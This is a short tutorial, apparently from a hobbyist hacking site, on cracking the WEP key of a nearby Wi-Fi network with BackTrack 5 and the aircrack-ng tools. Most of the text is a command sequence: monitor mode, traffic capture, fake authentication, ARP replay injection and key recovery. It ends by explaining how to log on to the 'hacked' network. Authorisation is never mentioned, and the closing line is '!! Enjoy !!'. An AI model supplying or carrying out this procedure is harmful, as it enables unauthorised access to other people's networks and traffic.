Hacking Wi-Fi WEP - Key Protected Networks Using Bactrack 4, 5

Aim Of Tutorial: Hacking Wi-fi Network secured with WEP key Encryption

Hi everyone, Today am here to how you a very simple and effective way to hack Wi-Fi network secured with WEP key.

Please follow the steps given below accurately:-

1.> Boot Backtrack 5 in normal Text-Mode (1st Choice) when booting menu appears, then enter startx for starting GUI interface of BT5.

2.> Open a Terminal, type the following commands:-

airmon-ng start wlan0

This command will list the available WLAN (Wi-Fi card available in System) and also

Show the another name of the same Wi-Fi card such as mon0.

We will now onwards use the mon0 interface name in all the following commands.

The Wi-Fi card is now in monitor mode.

3.> Now in the Same Terminal window, Type: 

airodump-ng mon0

This will list all the Wireless LAN networks Available nearby, 

To Stop the scanning after noticing the target Wi-Fi network, Press cntrl+c

4.>Copy the MAC-ID or BSSID of the target network. For example,00:11:22:33:44:55,

 also note down the channel number ( my case was 3).

Now type the following Command in the Terminal,

 airodump-ng -c 3 -w wep  --bssid  00:11:22:33:44:55 mon0

5.> Open a New Terminal, and type:

              aireplay-ng -1 0 -a 00:11:22:33:44:55 mon0

 (if you see under #Data, you will notice its increasing slowly)

To Speed this #data value,

 
6.> Again Open a new Terminal and type:

        aireplay-ng -3 –b 00:11:22:33:44:55 mon0

--> wait till data reaches 30,000

7.> In capturing window, Press cntrl+C to top capturing data.

8.> Use the following command to list the Directory of saved captured Files. 

                                Dir

9.> Then, Type:

Aircrack-ng wep-01.cap

to crack the Wi-Fi password by mentioning the capture file (wep-01.cap).

10.> Now you jut have to wait, until the WEP-Key is Found.

11.> Please note that, some routers only Show HEX digits of the WEP key

To use this key in Windows to log on to a Wireless Network, Do not include

the Colons (:) between the HEX Pairs.

For Example, If you got the Key like 1A:2B:3C:4D:5F, then in windows while

connecting to the hacked Wi-Fi Network, use 1A2B3C4D5F (w/O colon sign).

!! Enjoy !!
